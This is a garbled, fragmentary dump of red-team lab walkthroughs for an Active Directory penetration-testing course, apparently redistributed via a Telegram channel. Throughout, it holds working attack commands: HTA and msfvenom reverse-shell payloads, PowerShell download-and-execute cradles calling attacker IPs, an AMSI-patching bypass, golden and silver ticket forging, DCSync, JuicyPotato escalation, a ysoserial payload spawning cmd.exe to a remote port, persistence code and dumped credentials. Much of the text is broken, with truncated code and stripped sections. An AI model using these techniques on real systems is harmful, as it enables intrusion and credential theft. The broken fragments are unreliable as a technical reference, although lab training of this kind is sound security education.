[@CyberBankSa]-eCPTX Labs
[@CyberBankSa]-eCPTX Labs
https://t.me/CyberBankSa
https://t.me/CyberBankSa >-- ﺟﻤﻴﻊ اﻟﺤﻘﻮق ﻣﺤﻔﻮﻇﺔ ﻟﻤﺒﺎدرة اﻟﺒﻨﻚ اﻟﺴﻴﺒﺮاﻧﻲ
https://my.ine.com/CyberSecurity/courses/9328123b
/penetration-testing-red-teaming-active-directory
/lab/36c9cc04-7663-45bf-9c9b-78ec1c3f139e
Tools used
Initial reconnaissance
Setting up Covenant
INITIAL ACCESS
Compromising Win10-WEB
First Grunt
CLM Bypass
Compromising Jumpbox
DOMAIN ATTACKS
Starting point
Domain Reconnaissance
Domain reconnaissance II
Setting up Bloodhound
Using Bloodhound
Bloodhound Ingestors
Bloodhound interface
GPO Abuse
Silver tickets
Attacking trusts
SMB Grunts
WMI Launcher
LOCAL TASKS
Local Persistence
WMI Backdoor
Bypassing UAC
Windows Defenses
mimikatz 2.2.0
https://packt-type-cloud.s3.amazonaws.com/uploads
/sites/2432/2018/12/26b0fda1-5498-470e-9257-8fab7
586af4d.png
organization.
https://github.com/bluscreenofjeff/Red-Team-Infra
structure-Wiki
whois 216.58.215.78
python2 spoofcheck.py
https://github.com/dafthack/MailSniper is another
effective password spraying tool, using which one
can easily conduct a password spraying attack
against OWA or Exchange servers.
https://github.com/cobbr/Covenant. The
installation instructions for the tool can be
found at
https://github.com/cobbr/Covenant/wiki/Installati
on-And-Startup
cd Covenant/Covenant
Payload Delivery
<script language="VBScript">
Function DoStuff()
Dim wsh
End Function
DoStuff
self.close
</script>
http://[ATTACKER_IP]/Document.hta
INITIAL ACCESS
As already mentioned, you may receive a
different address when connecting to VPN (tap0
Compromising Win10-WEB
In order to compromise win10-web, we will try
password spraying against the exposed RDP
service. We can identify that RDP is enabled
through a Nmap scan on all TCP ports. We know
that a user named victim uses this workstation
and that the domain name is ELS-CHILD.
We will use
https://github.com/xFreed0m/RDPassSpray
First Grunt
As you now have RDP access to the WIN10-WEB
machine, go ahead and use that access to download
rdesktop 10.100.10.240:65520
CLM Bypass
CLM stands for PowerShell Constrained Language
Mode, which is able to limit PowerShell to core
types only. If a proper level of restriction is
implemented, the user will not be able to access
.NET or execute complex scripts like Covenant
launchers.
$ExecutionContext.SessionState.LanguageMode
[System.IO.File]::ReadAllBytes(“C:\Windows\System
32\license.rtf”)
https://github.com/p3nt4/PowerShdll
iex (new-object
net.webclient).downloadstring('http://10.100.10.2
/1.ps1')
https://docs.microsoft.com/en-us/windows/win32/am
si/images/amsi7archi.jpg
https://github.com/rasta-mouse/AmsiScanBufferBypa
ss
using System;
using System.Runtime.InteropServices;
try
var lib =
Win32.LoadLibrary("amsi.dll");
uint oldProtect;
Win32.VirtualProtect(ASBPtr,
(UIntPtr)patch.Length, 0x04, out oldProtect);
Marshal.Copy(patch, 0, ASBPtr,
patch.Length);
Win32.VirtualProtect(ASBPtr,
(UIntPtr)patch.Length, 0x20, out oldProtect);
catch (Exception e)
class Win32
[DllImport("kernel32")]
[DllImport("kernel32")]
[System.Reflection.Assembly]::LoadFile("c:\users\
adminels\a.dll")
[Amsi]::Bypass()
● SharpUp https://github.com/GhostPack/SharpUp
● PowerUp
https://github.com/PowerShellMafia/PowerSploi
t/blob/dev/Privesc/PowerUp.ps1
Compromising Jumpbox
In order to compromise Jumpbox, administrative
credentials of a local administrator are given.
Feel free to use any tool that abuses them to
gain initial access. For example, we use
PsEXEC.py from impacket with the credentials of
Administrator user:
/root/impacket/examples/psexec.py
Administrator:Summer2020\!@10.100.10.250
iex (new-object
net.webclient).downloadstring(‘http://10.100.10.2
/1.ps1’)
iex (new-object
net.webclient).downloadstring('http://10.100.10.2
/1.ps1')
analyst1 : a1@3L$-CHILDL0c@l
we shorten it to:
DOMAIN ATTACKS
Starting point
At this point, if you followed along the
exercises, you have obtained following
credentials:
Domain Reconnaissance
For domain reconnaissance you can use PowerView,
which can be downloaded from its GitHub page:
https://raw.githubusercontent.com/PowerShellMafia
/PowerSploit/master/Recon/PowerView.ps1
Domain reconnaissance II
Our starting point for the second reconnaissance
exercise will be a grunt originating from the
jumpbox workstation with a medium integrity
process and a domain user named Analyst1
Powershell Get-NetUser
Powershell Get-NetComputer
https://github.com/leechristensen/SpoolSample
powershell curl
http://10.100.10.2:9999/rubeus.exe -outfile
c:\users\Administrator.ELS-CHILD\rubeus.exe
Setting up Bloodhound
Let's go to
https://github.com/BloodHoundAD/SharpHound3 and
download SharpHound.
https://github.com/BloodHoundAD/BloodHound/tree/m
aster/Ingestors
https://github.com/BloodHoundAD/BloodHound/blob/m
aster/Ingestors/SharpHound.exe
Using Bloodhound
We've already showed you how to setup bloodhound.
Just to summarize, bloodhound allows to visualize
domain member objects on graphs, which is
Bloodhound Ingestors
● Default Enumeration
● ACL Enumeration
● ObjectProps Enumeration
● Container Enumeration
Invoke-BloodHound -CollectionMethod
ACL,ObjectProps
Bloodhound interface
https://github.com/SadProcessor/Cheats/blob/maste
r/DogWhispererV2.md
For example:
"name":"CUSTOM",
"queryList":[
"final":true,
"name":"CUSTOM",
"queryList":[
"final":true,
(This)-[IsConnectedTo]->(That)
MATCH (u:User)
MATCH (u)-[MemberOf]->(g)
RETURN u
RETURN u
"name":"CUSTOM",
"queryList":[
"final":true,
"query":"MATCH
(u:User)-[MemberOf]->(g:Group {name:
\"ADMINISTRATORS@ELS-CHILD.ELS.LOCAL\}) RETURN u"
https://www.ernw.de/download/BloodHoundWorkshop/E
RNW_DogWhispererHandbook.pdf
ShellRunAs /shellcommand:"whoami"
/username:"analystm" /domain:"ELS-CHILD"
/password:"Summer2020!"
https://raw.githubusercontent.com/PowerShellMafia
/PowerSploit/dev/Recon/PowerView.ps1
GPO Abuse
The ability to modify Domain Policy might result
in escalating privileges including getting Domain
Administrator-level access. During domain
reconnaissance it is important to identify
potential vulnerable GPOs. GPOs which we are
interested in are typically those, that are
https://github.com/FSecureLABS/SharpGPOAbuse
C:\(…)\SharpGPOAbuse-master\SharpGPOAbuse-master\
packages\ILMerge.3.0.29\tools\net452
ILMerge.exe /out:SharpGPOAbuseMerged.exe
.\SharpGPOAbuse.exe .\CommandLine.dll
https://github.com/b4rtik/metasploit-execute-asse
mbly
mkdir -p $home/.msf4/modules/post/windows/manage
mv execute-assembly.rb
$home/.msf4/modules/post/windows/manage/execute_a
ssembly.rb
cp hostingclrx64.dll
/usr/share/metasploit-framework/data/post/hosting
clrx64.dll
// CHANGE THESE
// CHANGE THIS
//StartupScript.NewStartupScript(ScriptName,
ScriptContent, DomainName, DomainController,
GPOName, DistinguishedName, "User");
LocalAdmin.NewLocalAdmin(UserAccount,
DomainName, DomainController, "test",
DistinguishedName, true);
https://github.com/BloodHoundAD/BloodHound/tree/m
aster/Ingestors
kerberos::golden
/sid:S-1-5-21-23589937-599888933-351157107
/domain:els-child.els.local
/rc4:e4ba51c7157fe46652603b661f1ccfbe
/user:Administrator /id:500 /file:ticket.kirbi
powershell
[System.Convert]::ToBase64String([System.IO.File]
::ReadAllBytes("c:\users\analyst1\ticket.kirbi"))
whoami /user
S-1-5-21-23589937-599888933-351157107-500
mimikatz.exe
# kerberos::golden /user:Administrator
/domain:els-child.eLS.local
/sid:S-1-5-21-23589937-599888933-351157107
/krbtgt:e4ba51c7157fe46652603b661f1ccfbe
/ticket:golden.kirbi
powershell curl
http://10.100.10.2:9090/golden.kirbi -outfile
golden.kirbi
Rubeus ptt
/ticket:"c:\users\adminels\golden.kirbi"
https://github.com/samratashok/nishang/blob/maste
r/Backdoors/Set-RemoteWMI.ps1
Silver tickets
A less powerful but still effective technique is
crafting a Silver ticket.
mimikatz.exe
kerberos::golden /user:Administrator
/domain:els-child.eLS.local
/sid:S-1-5-21-23589937-599888933-351157107
/rc4:[machine hash] /service:cifs
/ticket:silver.kirbi
https://github.com/HarmJ0y/DAMP
kerberos::golden /domain:els-child.els.local
/sid:S-1-5-21-23589937-599888933-351157107
/target:child-dc01.els-child.els.local
/service:HOST
/rc4:61840587fd2e77b5f0509ae41e40363e
/user:Administrator
kerberos::golden /domain:els-child.els.local
/sid:S-1-5-21-23589937-599888933-351157107
/target:child-dc01.els-child.els.local
/service:RPCSS
/rc4:61840587fd2e77b5f0509ae41e40363e
/user:Administrator
powershell
[System.Convert]::ToBase64String([System.IO.File]
::ReadAllBytes("c:\users\analyst1\ticket2.kirbi")
)
Attacking trusts
Domains together can be part of larger
organizational units named forests. These can be
applied in large enterprises, where, for example,
each national office has its own domain. Apart
from forests, standalone domains can also
establish a relationship between them without
mimikatz.exe
kerberos::golden /admin:Administrator
/domain:els-child.eLS.local
/sid:S-1-5-21-23589937-599888933-351157017
/sids:S-1-5-21-2128511948-1856962338-1523442862-5
00 /krbtgt:e4ba51c7157fe46652603b661f1ccfbe
/startoffset:0 /endin:600 /renewmax:10080
powershell
[System.Convert]::ToBase64String([System.IO.File]
::ReadAllBytes("ticket.kirbi"))
https://github.com/SecureAuthCorp/impacket
python ./examples/lookupsid.py
ELS-CHILD/Administrator:Admin\@3L\$-CHILDL0c\@l**
***@child-dc01.els-child.eLS.local
python ./examples/secretsdump.py
ELS-CHILD/Administrator:Admin\@3L\$-CHILDL0c\@l**
***@child-dc01.els-child.eLS.local
ticketer.py -nthash
e4ba51c7157fe46652603b661f1ccfbe -domain-sid
S-1-5-21-23589937-599888933-351157107 -domain
els-child.els.local Administrator -extra-sid
S-1-5-21-2128511948-1856962338-1523442862-500
powershell
[System.Convert]::ToBase64String([System.IO.File]
::ReadAllBytes("admin.kirbi"))
export
KRB5CCNAME=/root/impacket/examples/Administrator.
ccache
ntpdate 10.100.10.253
./wmiexec.py -dc-ip
child-dc01.ELS-CHILD.ELS.LOCAL
ELS-CHILD.ELS.LOCAL/Administrator@child-dc01.ELS-
CHILD.ELS.LOCAL -k -no-pass -debug
https://github.com/BC-SECURITY/Empire/releases
(We used 3.1.5)
cd ../
./empire
msfconsole
msfdbinit
use exploit/multi/handler
run
Payload is generated:
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=10.100.10.2 lport=8443 exitfunc=thread -f
exe -o m.exe
https://github.com/rvrsh3ll/Misc-Powershell-Scrip
ts/blob/master/Get-BrowserData.ps1
. .\Invoke-Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y
use post/windows/manage/portproxy
set CONNECT_PORT 80
set LOCAL_PORT 80
set session 1
run
use auxiliary/server/http_ntlmrelay
set URIPATH /
set SRVPORT 80
run
Uselistener http
usestager windows/launcher_xml
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\M
SBuild.exe c:\users\admin\z.xml
Agents
Interact [ID]
usemodule collection/inveigh
<html><head><meta http-equiv='refresh'
content='0;
url=http://10.100.11.101'></head></html>
DataBase
Credentials</p></td><td><b>sa:Cr@zyCompl3xP@ssw0r
d</b> and
ELS-CHILD\uatoperator:Cr@zyCompl3xP@ssw0rd
net.webclient).downloadstring('http://10.100.10.2
/1.ps1')}
WMI Launcher
Another lateral movement method is by using a WMI
Launcher.
https://github.com/NetSPI/PowerUpSQL/
https://netcologne.dl.sourceforge.net/project/uni
x-utils/socat/1.7.3.2/socat-1.7.3.2-1-x86_64.zip
Note:
https://fossies.org/linux/socat/CHANGES
powershell .\socat.exe
tcp-listen:1433,tcp-connect:10.100.11.150:1433
It will go in a way
Local SQL Client -> Kali -> Socat -> Jumpbox ->
Socat -> UATSERVER
https://www.heidisql.com/
Username: sa
Password: Cr@zyCompl3xP@ssw0rd
powershell .\socat.exe
tcp-listen:8080,tcp-connect:10.100.10.2:80
C:\MSSQLDB$\exception\
SMB Grunts
msfvenom -p windows/x64/meterpreter_reverse_https
-f psh -o msf.ps1 lhost=10.100.10.2 lport=8443
exitfunc=thread
iex (new-object
net.webclient).downloadstring('http://10.100.10.2
50:8888/35')
C:\MSSQLDB$\exception directory or
C:\windows\tracing which is a world-writable
location by default.
or
powershell curl
<http://10.100.11.250:9000/11.ps1>
.\11.ps1
https://github.com/rasta-mouse/GadgetToJScript
https://assets.ine.com/cybersecurity-lab-images/3
6c9cc04-7663-45bf-9c9b-78ec1c3f139e/image323.png
GadgetToJScript.exe -i
.\..\..\..\..\TestPayload\TestClass.cs -r
System.Core.dll -w vbs -o
c:\users\win10en\Desktop\vbs1
wscript.exe vbs1.vbs
https://github.com/TheWover/donut/releases
$f = "C:\Users\win10en\Desktop\donut_v0.9.3
(3)\loader.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes
($f)) > b64.txt
https://gist.githubusercontent.com/3xpl01tc0d3r/e
cf5e1ac09935c674a9c6939c694da13/raw/238ed3339a458
ce0260f98dc18a38fdbed420457/Payload.txt
.\GadgetToJScript.exe -i
.\..\..\..\..\TestPayload\TestClass.cs -r
System.Core.dll -w vbs -o
c:\users\win10en\Desktop\vq
wscript.exe vq.vbs
LOCAL TASKS
These tasks are to be performed on a local
windows VM since they are non-domain specific.
However, they can still be performed within a
domain environment so you can try them within the
lab at a later time.
Local Persistence
● Scheduled tasks
● Autorun (Registry)
● Startup folder
function New-ScheduledTaskPersistence {
$TaskName = "Persistence"
$Trigger = New-ScheduledTaskTrigger
-Daily
-At 09:00
$Action = New-ScheduledTaskAction
-Execute
"C:\Windows\System32\WindowsPowerShell\v1.0\power
shell.exe"
-WorkingDirectory "C:\Windows\System32"
Register-ScheduledTask
-TaskName $TaskName
-Trigger $Trigger
-Action $Action
-Force
WMI Backdoor
Note: this task is designed to be executed
locally, but you can try to perform it in the
lab.
and
https://www.blackhat.com/docs/us-15/materials/us-
15-Graeber-Abusing-Windows-Management-Instrumenta
tion-WMI-To-Build-A-Persistent%20Asynchronous-And
-Fileless-Backdoor-wp.pdf
We will go to
https://github.com/FSecureLABS/C3/releases and
download the release. Then we simply unpack the
zip archive and navigate to the folder it
contains.
https://github.com/cobbr/C2Bridge
$ ~ > cd Covenant/Covenant
//Program.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Service
class Program
FileName =
@"C:\Windows\System32\WindowsPowerShell\v1.0\powe
rshell.exe",
Arguments = @"powershell -Sta -Nop -Window Hidden
-EncodedCommand
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAd
AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbw
BhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA
5ADIALgAxADYAOAAuADEA"
};
StartInfo = gruntStartInfo
})
grunt.Start();
Bypassing UAC
Note, that this exercise is to be executed
locally.
https://github.com/hfiref0x/UACME
Windows Defenses
Note, that this technique cannot be executed
within the lab
https://github.com/PowerShell/GPRegistryPolicy
● ms-Mcs-AdmPwd
● ms-Mcs-AdmPwdExpirationTime
Get-ApplockerPolicy -Local
https://lolbas-project.github.io/
[DllExport("GruntEntry", CallingConvention =
CallingConvention.Cdecl)]
new GruntStager();
First, add
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
rundll32 ClassLibrary1.dll,GruntEntry
—-----------------------------------------------
—-----------------------------------------------
Scenario{.smallcaps}
Username: els\analyst1
Password: P@ssw0rd123
Goals{.smallcaps}
Recommended tools{.smallcaps}
● Visual Studio
● SharpHound
● RDP
● RoguePotato
● PrintSpoofer
Tasks{.smallcaps}
Task 1: Scenario 1 - ACL abuse{.smallcaps}
Hints:
Hints:
Hints:
● Kerberos pre-authentication
● LAPS
● Printer bug
Hints:
● Parameter Serialization
SOLUTIONS{.smallcaps}
Below, you can find solutions for each task.
Remember though that you can follow your own
strategy (which may be different from the one
explained in the following lab).
Request:
Response:
C:\inetpub/wwwroot/files/172.16.80.100/bdca0e54-4
77a-49e1-9cf4-cfc0b4ea9931.exe 172.16.80.100 2222
-e cmd.exe
To create a serialized object, we'll use
"ysoserial" and pass it the command:
#!/usr/bin/env python3
import hashlib
import base64
'''
C:\inetpub/wwwroot/files/172.16.80.100/bdca0e54-4
77a-49e1-9cf4-cfc0b4ea9931.exe 172.16.80.100 2222
-e cmd.exe
serialized_data =
'/wEyqRIAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwg
VmVyc2lvbj00LjAuMC4wLCBDdWx0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------------------------------
—------------------------------------------------
-----------------------------------------------
https://my.ine.com/CyberSecurity/courses/9328123b/penet
ration-testing-red-teaming-active-directory/lab/3890101
f-20b6-46a3-9301-5bd3f33601ac
Contents
Mail Server Attack Path (Path 1)
1. DEV SYS . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
2. DB-SRV . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . .
3. ELS-DC . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . .
4. MGMT-DC . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
5. JUMP-SRV . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . .
6. Admin-SYS . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
Scenario
You have been asked to execute a (black-box) red
teaming exercise against eLS Corp (including any
related/trusted forest). The letter of engagement
has specified:
Hints
Refer to the attack path diagram of page 1 only
when you are out of options.
1. DEV-SYS Server
𝑚𝑠𝑓𝑣𝑒𝑛𝑜𝑚 −𝑝 𝑐𝑚𝑑/𝑤𝑖𝑛𝑑𝑜𝑤𝑠/𝑟𝑒𝑣𝑒𝑟𝑠𝑒_𝑝𝑜𝑤𝑒𝑟𝑠ℎ𝑒𝑙𝑙
𝐿𝐻𝑂𝑆𝑇=172.16.25.𝑥 𝐿𝑃𝑂𝑅𝑇=4443 > 𝑎𝑡𝑡𝑎𝑐ℎ.𝑏𝑎𝑡
𝑚𝑠𝑓𝑐𝑜𝑛𝑠𝑜𝑙𝑒
𝑢𝑠𝑒 𝑒𝑥𝑝𝑙𝑜𝑖𝑡/𝑚𝑢𝑙𝑡𝑖/ℎ𝑎𝑛𝑑𝑙𝑒𝑟
𝑠𝑒𝑡 𝑝𝑎𝑦𝑙𝑜𝑎𝑑 𝑐𝑚𝑑/𝑤𝑖𝑛𝑑𝑜𝑤𝑠/𝑟𝑒𝑣𝑒𝑟𝑠𝑒_𝑝𝑜𝑤𝑒𝑟𝑠ℎ𝑒𝑙𝑙
𝑠𝑒𝑡 𝐿𝐻𝑂𝑆𝑇 <𝑦𝑜𝑢𝑟_𝐼𝑃_𝐴𝑑𝑑𝑟𝑒𝑠𝑠>
𝑠𝑒𝑡 𝐿𝑃𝑂𝑅𝑇 <𝐿𝑖𝑠𝑡𝑒𝑛𝑖𝑛𝑔_𝑃𝑜𝑟𝑡>
𝑟𝑢𝑛
Switches:
python3 smbexec.py
'Administrator:Doctor@963'@172.16.250.5
𝑢𝑠𝑒 𝑝𝑜𝑠𝑡/𝑚𝑢𝑙𝑡𝑖/𝑚𝑎𝑛𝑎𝑔𝑒/𝑠ℎ𝑒𝑙𝑙_𝑡𝑜_𝑚𝑒𝑡𝑒𝑟𝑝𝑟𝑒𝑡𝑒𝑟
𝑠𝑒𝑡 𝑝𝑎𝑦𝑙𝑜𝑎𝑑_𝑜𝑣𝑒𝑟𝑟𝑖𝑑𝑒 𝑤𝑖𝑛𝑑𝑜𝑤𝑠/𝑚𝑒𝑡𝑒𝑟𝑝𝑟𝑒𝑡𝑒𝑟/𝑟𝑒𝑣𝑒𝑟𝑠𝑒_𝑡𝑐𝑝
𝑠𝑒𝑡 𝑠𝑒𝑠𝑠𝑖𝑜𝑛 <𝑠𝑒𝑠𝑠𝑖𝑜𝑛_𝐼𝐷>
𝑠𝑒𝑡 𝐿𝐻𝑂𝑆𝑇 172.16.25.𝑥
𝑠𝑒𝑡 𝐿𝑃𝑂𝑅𝑇 <𝑙𝑖𝑠𝑡𝑒𝑛𝑖𝑛𝑔_𝑝𝑜𝑟𝑡>
run
or
𝑠𝑒𝑠𝑠𝑖𝑜𝑛𝑠 −𝑢 <𝑠𝑒𝑠𝑠𝑖𝑜𝑛_𝐼𝐷>
C:\Windows>sc qc snmptrap
sc qc snmptrap
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: snmptrap
TYPE : 10
WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME :
C:\Windows\System32\snmptrap.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SNMP Trap
DEPENDENCIES :
SERVICE_START_NAME : .\Administrator
sc stop snmptrap
sc config snmptrap binpath="net localgroup
administrators dev-user /add"
sc start snmptrap
Members
-------------------------------------------------
------------------------------
Administrator
ELS-CHILD\dev-user
ELS-CHILD\Domain Admins
load incognito
list_tokens -u
migrate $x64_pid
load kiwi
creds_all
[. . 𝑆𝑁𝐼𝑃. .]
𝑚𝑠𝑣 ∶
[00000003] 𝑃𝑟𝑖𝑚𝑎𝑟𝑦
∗ 𝑈𝑠𝑒𝑟𝑛𝑎𝑚𝑒 ∶ 𝑑𝑒𝑣−𝑎𝑑𝑚𝑖𝑛
∗ 𝐷𝑜𝑚𝑎𝑖𝑛 ∶ 𝐸𝐿𝑆−𝐶𝐻𝐼𝐿𝐷
∗ 𝑁𝑇𝐿𝑀 ∶ 𝟕𝒃𝟓𝟑𝒄𝟔𝟎𝒆𝟗𝟏𝟏𝟑𝒄𝒄𝟖𝒃𝟏𝟗𝟒𝒄𝒃𝟑𝟒𝒅𝒆𝟒𝟖𝟎𝟓𝒇𝟑𝒃
∗ 𝑆𝐻𝐴1 ∶ 72𝑓𝑑2𝑐3𝑑682𝑑3957𝑓𝑑6𝑏8523𝑑𝑑86𝑐𝑐12𝑏𝑎51𝑎𝑒𝑓2
∗ 𝐷𝑃𝐴𝑃𝐼 ∶ 𝑓5𝑐𝑓𝑑88𝑑690𝑒1𝑒9338𝑒2𝑒𝑑8162𝑎6𝑏6𝑏4
𝑡𝑠𝑝𝑘𝑔 ∶
𝑤𝑑𝑖𝑔𝑒𝑠𝑡 ∶
∗ 𝑈𝑠𝑒𝑟𝑛𝑎𝑚𝑒 ∶ 𝑑𝑒𝑣−𝑎𝑑𝑚𝑖𝑛
∗ 𝐷𝑜𝑚𝑎𝑖𝑛 ∶ 𝐸𝐿𝑆−𝐶𝐻𝐼𝐿𝐷
∗ 𝑃𝑎𝑠𝑠𝑤𝑜𝑟𝑑 ∶ 𝑯@𝒓𝒅𝑷@𝒔𝒔𝑫!𝒇𝒇!𝒄𝒖𝒍𝒕𝟗𝟔𝟒!!
𝑘𝑒𝑟𝑏𝑒𝑟𝑜𝑠 ∶
∗ 𝑈𝑠𝑒𝑟𝑛𝑎𝑚𝑒 ∶ 𝑑𝑒𝑣−𝑎𝑑𝑚𝑖𝑛
∗ 𝐷𝑜𝑚𝑎𝑖𝑛 ∶ 𝐸𝐿𝑆−𝐶𝐻𝐼𝐿𝐷.𝐸𝐿𝑆.𝐶𝑂𝑅𝑃
∗ 𝑃𝑎𝑠𝑠𝑤𝑜𝑟𝑑 ∶ (𝑛𝑢𝑙𝑙)
𝑠𝑠𝑝 ∶
𝑐𝑟𝑒𝑑𝑚𝑎𝑛 ∶
[. . 𝑆𝑁𝐼𝑃. .]
use post/multi/gather/ping_sweep
set rhosts 10.10.1.0/24
set session <session_id>
run
[..SNIP..]
[+] 10.10.1.1 host found
[+] 10.10.1.2 host found
[+] 10.10.1.3 host found
[..SNIP..]
use auxiliary/scanner/mssql/mssql_login
set username dev-admin
set password H@rdP@ssD!ff!cult964!!
set rhosts 10.10.1.2
msf5
auxiliary(admin/mssql/mssql_escalate_execute_as)
> show options
Module options
(auxiliary/admin/mssql/mssql_escalate_execute_as)
:
RHOSTS 10.10.1.2
yes The target host(s), range CIDR
identifier, or hosts file with syntax
'file:<path>'
RPORT 1433
yes The target port (TCP)
TDSENCRYPTION false
yes Use TLS/SSL for TDS data "Force
Encryption"
USERNAME dev-admin
no The username to authenticate as
USE_WINDOWS_AUTHENT false
yes Use windows authentification (requires
DOMAIN option set)
Module options
(exploit/windows/mssql/mssql_payload):
URIPATH
no The URI to use for this exploit
(default is random)
USERNAME dev-admin
no The username to authenticate as
USE_WINDOWS_AUTHENT false
yes Use windows authentification (requires
DOMAIN option set)
Payload options
(windows/x64/meterpreter/bind_tcp):
mkdir /temp
cd /temp
upload JuicyPotato.exe
execute -f JuicyPotato.exe -a '-t u -p
"C:\Windows\System32\cmd.exe" -l 4444' -i
Successfully escalated to System privileges...
# Attacker Machine
msfvenom -p windows/x64/meterpreter/bind_tcp
LHOST=10.10.1.2 LPORT=6666 --smallest -f exe
--encrypt AES256 --encrypt-iv 76543210
--encrypt-key w00tw00t -o bind_tcp.exe
# meterpreter
meterpreter > upload
/media/SHARED/LAB/bind_tcp.exe
[*] uploading : /media/SHARED/LAB/bind_tcp.exe
-> bind_tcp.exe
[*] Uploaded 7.00 KiB of 7.00 KiB (100.0%):
/media/SHARED/LAB/bind_tcp.exe -> bind_tcp.exe
[*] uploaded : /media/SHARED/LAB/bind_tcp.exe
-> bind_tcp.exe
meterpreter > execute -f JuicyPotato.exe -a '-t u
-p "C:\temp\bind_tcp.exe" -l 4444' -i
Background session 10? [y/N]
Process 2248 created.
Channel 6 created.
Testing {4991d34b-80a1-4291-83b6-3328366b9097}
4444
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT
AUTHORITY\SYSTEM
[+] CreateProcessAsUser OK
# Metasploit handler
msf5 exploit(multi/handler) > show options
Payload options
(windows/x64/meterpreter/bind_tcp):
Exploit target:
Id Name
-- ----
0 Wildcard Target
# meterpreter
upload Microsoft.ActiveDirectory.Management.dll
/temp
# Switch to PowerShell
Import-Module
.\Microsoft.ActiveDirectory.Management.dll
-verbose
Get-AdComputer -Filter {TrustedForDelegation -eq
$True}
# Meterpreter
upload Rubeus.exe
upload SpoolSample.exe
execute -f Rubeus.exe -a "monitor /interval:5" -c
# take note of the channel
execute -f SpoolSample.exe -a "\\els-dc.els.corp
\\db-srv.els.corp" -c
channel -r <RUBEUS_CHANNEL>
# Shell
Rubeus.exe ptt /ticket:<BASE64_TICKET>
klist
# meterpreter session
load kiwi
kiwi_cmd \"lsadump::dcsync /user:els\\krbtgt\"
<Result> NTLM:a8a94897fbb33ed8925f17ba7ccdff67
</Result>
# Meterpreter
use exploit windows/smb/psexec
set rhosts 10.10.1.3
set SMBDOMAIN els.corp
set SMBUSER els-admin
set SMBPASS 8645e87e2593507cf623f3291b1334c2
set payload windows/x64/meterpreter/bind_tcp
Using PowerView
(https://github.com/PowerShellMafia/PowerSploit/b
lob/dev/Recon/PowerView.ps1), we will enumerate
any misconfigurations that we can find to abuse
the cross-forest trust established between
"ELS.CORP" and "MGMT.CORP".
Import-Module PowerView_dev.ps1
Get-NetDomainTrust | ?{$_.TrustType -ne
'External'} | %{Get-NetUser -SPN -Domain
$_.TargetName}
<..SNIP..>
distinguishedname ∶
CN=spn_svc,OU=SPN_Service,DC=mgmt,DC=corp
displayname ∶ spn_svc
userprincipalname ∶ spn_svc@mgmt.corp
name ∶ spn_svc
serviceprincipalname ∶
{http/mgmt-dc.mgmt.corp,http/mgmt-dc}
objectsid ∶
S-1-5-21-3658202825-2428483480-107650130-1106
samaccountname ∶ spn_svc
<../SNIP..>
SIDFilteringQuarantined : False
Source : DC=els,DC=corp
Target : mgmt.corp
TGTDelegation : False
TrustAttributes : 8
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
<../SNIP..>
PS > setspn.exe -T mgmt.corp -Q */*
setspn.exe -T mgmt.corp -Q */*
Checking domain DC=mgmt,DC=corp
CN=MGMT-DC,OU=Domain Controllers,DC=mgmt,DC=corp
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/MGMT-DC
.mgmt.corp
ldap/MGMT-DC.mgmt.corp/ForestDnsZones.mgmt.corp
ldap/MGMT-DC.mgmt.corp/DomainDnsZones.mgmt.corp
TERMSRV/MGMT-DC
TERMSRV/MGMT-DC.mgmt.corp
DNS/MGMT-DC.mgmt.corp
GC/MGMT-DC.mgmt.corp/mgmt.corp
RestrictedKrbHost/MGMT-DC.mgmt.corp
RestrictedKrbHost/MGMT-DC
RPC/c8ffb42a-a59c-41f0-a5a0-e833cfc0c4b6._msdcs.m
gmt.corp
HOST/MGMT-DC/MGMT
HOST/MGMT-DC.mgmt.corp/MGMT
HOST/MGMT-DC
HOST/MGMT-DC.mgmt.corp
HOST/MGMT-DC.mgmt.corp/mgmt.corp
E3514235-4B06-11D1-AB04-00C04FC2DCD2/c8ffb42a-a59
c-41f0-a5a0-e833cfc0c4b6/mgmt.corp
ldap/MGMT-DC/MGMT
ldap/c8ffb42a-a59c-41f0-a5a0-e833cfc0c4b6._msdcs.
mgmt.corp
ldap/MGMT-DC.mgmt.corp/MGMT
ldap/MGMT-DC
ldap/MGMT-DC.mgmt.corp
ldap/MGMT-DC.mgmt.corp/mgmt.corp
CN=krbtgt,CN=Users,DC=mgmt,DC=corp
kadmin/changepw
CN=spn_svc,OU=SPN_Service,DC=mgmt,DC=corp
http/mgmt-dc.mgmt.corp
http/mgmt-dc
Credentials: "spn_svc:B@DB!tch"
# Metasploit
route add 10.10.3.0/24 <session_id>
use auxiliary/server/socks4a
run -j
# Attackers machine
# Make sure /etc/proxychains.conf has configured
# socks4 127.0.0.1 1080
# Add to host file /etc/hosts
# 10.10.3.2 MGMT-DC.MGMT.CORP
proxychains psexec.py
spn_svc:'B@DB!tch'@10.10.3.2
nslookup jump-srv
Name: jump-srv.mgmt.corp
Address: 10.10.3.3
proxychains secretsdump.py
spn_svc:'B@DB!tch'@10.10.3.2
<..SNIP..>
ping admin-sys.site -c 1
6. Admin-SYS
<..SNIP..>
